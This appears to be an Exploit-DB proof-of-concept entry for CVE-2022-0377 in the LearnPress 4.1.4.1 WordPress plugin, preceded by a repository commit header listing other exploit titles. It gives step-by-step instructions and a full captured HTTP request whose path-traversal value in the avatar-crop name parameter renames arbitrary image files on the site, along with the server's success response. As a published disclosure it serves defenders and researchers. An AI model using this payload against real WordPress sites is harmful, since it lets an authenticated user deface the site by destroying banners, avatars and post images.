ad453a2c73
17 changes to exploits/shellcodes CONTPAQi(R) AdminPAQ 14.0.0 - Unquoted Service Path Mozilla Firefox 67 - Array.pop JIT Type Confusion Fetch Softworks Fetch FTP Client 5.8 - Remote CPU Consumption (Denial of Service) Ametys CMS v4.4.1 - Cross Site Scripting (XSS) uBidAuction v2.0.1 - 'Multiple' Cross Site Scripting (XSS) Chamilo LMS 1.11.14 - Account Takeover Wordpress Plugin Download Monitor WordPress V 4.4.4 - SQL Injection (Authenticated) WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated) Wordpress Plugin 404 to 301 2.0.2 - SQL-Injection (Authenticated) PHP Restaurants 1.0 - SQLi (Unauthenticated) Moodle 3.11.4 - SQL Injection Huawei DG8045 Router 1.0 - Credential Disclosure PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated) WordPress Plugin Contact Form Check Tester 1.0.2 - Broken Access Control WordPress Plugin Product Slider for WooCommerce 1.13.21 - Cross Site Scripting (XSS) WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS) WordPress Plugin Learnpress 4.1.4.1 - Arbitrary Image Renaming
76 lines
No EOL
4.1 KiB
Text
76 lines
No EOL
4.1 KiB
Text
# Exploit Title: WordPress Plugin Learnpress 4.1.4.1 - Arbitrary Image Renaming
|
|
# Date: 08-01-2022
|
|
# Exploit Author: Ceylan Bozogullarindan
|
|
# Author Webpage: https://bozogullarindan.com
|
|
# Vendor Homepage: https://thimpress.com/
|
|
# Software Link: https://thimpress.com/learnpress-plugin/
|
|
# Version: 4.1.4.1
|
|
# Tested on: Linux
|
|
# CVE: CVE-2022-0377 (https://wpscan.com/vulnerability/0d95ada6-53e3-4a80-a395-eacd7b090f26)
|
|
|
|
|
|
# Description:
|
|
|
|
LearnPress is a WordPress complete solution for creating a Learning Management System (LMS). It can help you to create courses, lessons and quizzes.
|
|
|
|
A user of this LMS can upload an image as a profile avatar after the registration. After this process the user crops and saves the image. Then a "POST" request that contains user supplied name of the image is sent to the server for renaming and cropping of the image. As a result of this request, the name of the user-supplied image is changed with a MD5 value. This process can be conducted only when type of the image is JPG or PNG.
|
|
|
|
An attacker can use this vulnerability in order to rename an arbitrary image file. By doing this, he/she can destroy the design of the web site. Some examples of the malicious actions:
|
|
|
|
- Destroying of banner of a web site
|
|
- Destroying of user avatars
|
|
- Destroying of post images
|
|
- Destroying of button/app images etc.
|
|
|
|
# Steps To Reproduce
|
|
|
|
1. Register and login to the learnpress system.
|
|
2. Go to the profile page and upload an avatar image: https://<learnpress-website>/lp-profile/<your-username>/settings/avatar/
|
|
3. While saving the image, intercept the POST request by a local proxy tool such as Burpsuite.
|
|
4. Change the value of the `lp-user-avatar-crop[name]` parameter to an arbitrary image file path that is in the website (example, /2021/01/image.png or /../../image.png). The path is relative to "/wp-content/uploads/".
|
|
5. Forward the intercepted request and check the existence of the image file given in Step 4.
|
|
6. You will see that the image can not be found. Because the name of it is renamed.
|
|
|
|
# PoC - Supported Materials
|
|
|
|
Request
|
|
---------------------------------------------------------------------------
|
|
POST /lp-profile/<username>/settings/avatar/?lp-ajax=save-uploaded-user-avatar HTTP/1.1
|
|
Host: 127.0.0.1:8000
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 242
|
|
Origin: http://127.0.0.1:8000
|
|
Connection: close
|
|
Referer: http://127.0.0.1:8000/lp-profile/ceylanb/settings/avatar/
|
|
Cookie: _learn_press_session_4411def9d576984c8d78253236b2a62f=4509d5151308952d51776226bb847241%7C%7C1641770556%7C%7C19e385a78349f37ac993a36ecda9c41f; wordpress_lp_cart=1; wordpress_logged_in_4411def9d576984c8d78253236b2a62f=ceylanb%7C1642807471%7CRKS5hU3q1b2G0xY1pkwfl43yVJdIqz9fqBLcknvbyzJ%7C98d337987ee0cbc7539a742e2ebbfbe107d1e0c910c3efd9daa51c4775236e19; LP=%7B%22course-tab%22%3A%22overview%22%7D
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
DNT: 1
|
|
Sec-GPC: 1
|
|
|
|
lp-user-avatar-crop%5Bname%5D=%2f..%2f..%2fimage.jpg&lp-user-avatar-crop%5Bwidth%5D=250&lp-user-avatar-crop%5Bheight%5D=250&lp-user-avatar-crop%5Bpoints%5D=0%2C0%2C300%2C300&lp-user-avatar-crop%5Bnonce%5D=8bdc969b07&lp-user-avatar-custom=yes
|
|
---------------------------------------------------------------------------
|
|
|
|
Response
|
|
---------------------------------------------------------------------------
|
|
HTTP/1.1 200 OK
|
|
Date: Sat, 08 Jan 2022 00:30:11 GMT
|
|
Server: Apache/2.4.48 (Debian)
|
|
X-Powered-By: PHP/7.4.23
|
|
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
|
Cache-Control: no-cache, must-revalidate, max-age=0
|
|
Link: <http://127.0.0.1:8000/wp-json/>; rel="https://api.w.org/"
|
|
Link: <http://127.0.0.1:8000/wp-json/wp/v2/pages/17>; rel="alternate"; type="application/json"
|
|
Link: <http://127.0.0.1:8000/?p=17>; rel=shortlink
|
|
Vary: Accept-Encoding
|
|
Content-Length: 191
|
|
Connection: close
|
|
Content-Type: text/html; charset=UTF-8
|
|
|
|
<-- LP_AJAX_START -->{"success":true,"avatar":"<img src=\"http:\/\/127.0.0.1:8000\/wp-content\/uploads\/learn-press-profile\/2\/f574f3e6594498507333c41af9426d43.jpg\" \/>"}<-- LP_AJAX_END -->
|
|
--------------------------------------------------------------------------- |